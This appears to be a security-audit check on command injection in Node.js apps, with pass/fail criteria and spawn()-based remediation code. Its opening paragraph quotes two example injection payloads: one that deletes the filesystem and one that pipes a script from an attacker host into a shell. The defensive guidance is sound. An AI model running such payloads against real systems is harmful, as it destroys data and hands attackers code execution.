Command injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to exec() or execSync() as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append ; rm -rf / or ; curl attacker.com | sh. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use spawn() with an argument array (which bypasses the shell entirely) rather than exec() with a string.
Medium because command injection requires a shell execution feature and typically an upload or conversion endpoint, but exploitation achieves arbitrary OS command execution on the server.
Replace exec() string calls with spawn() argument arrays — this completely prevents shell interpretation of user data:
import { spawn } from 'child_process'
// Unsafe — shell interprets the full string:
// exec(`convert ${userFilename} -resize 800x output.jpg`)
// Safe — arguments passed as array, no shell:
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'], {
stdio: ['ignore', 'pipe', 'pipe'],
timeout: 30_000,
})
await new Promise<void>((resolve, reject) => {
proc.on('close', code => code === 0 ? resolve() : reject(new Error(`convert exited ${code}`)))
})
If the third-party library forces exec, sanitize with shell-quote before passing user input. Prefer managed API services (Cloudinary, AWS Lambda) for media processing to eliminate shell execution entirely.
ID: security-hardening.input-validation.command-injection
Severity: medium
What to look for: Enumerate every instance of shell command execution (exec, spawn, system, child_process, subprocess). For each, search for shell command execution: exec(), execSync(), spawn(), spawnSync(), child_process, shelljs, execa. Check whether user-controlled values are included in shell commands, either directly or through string templates.
Pass criteria: Shell commands do not include user-controlled values. When external commands must be called, arguments are passed as an array to spawn() (which does not invoke a shell), not concatenated into a string for exec() — 100% of command executions must avoid string concatenation with user input. Report: "X command execution points found, all Y use parameterized arguments."
Fail criteria: User-controlled values are interpolated into shell command strings passed to exec(), execSync(), or child_process.exec().
Skip (N/A) when: The application executes no shell commands.
Detail on fail: "exec() in lib/image-processor.ts includes user-supplied filename directly — command injection possible" or "child_process.exec() call in api/convert/route.ts concatenates req.body.format into shell command"
Remediation: Use spawn() with argument arrays instead of exec() with shell strings:
import { spawn } from 'child_process'
// Bad: shell injection possible
exec(`convert ${userFilename} -resize 800x output.jpg`, callback)
// Good: arguments as array, no shell interpretation
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'])
// If exec is necessary, sanitize with shell-quote or similar:
import { quote } from 'shell-quote'
exec(`convert ${quote([userFilename])} -resize 800x output.jpg`, callback)
Prefer moving image processing, PDF handling, and other command-line operations to a managed API service or WebAssembly module that avoids shell execution entirely.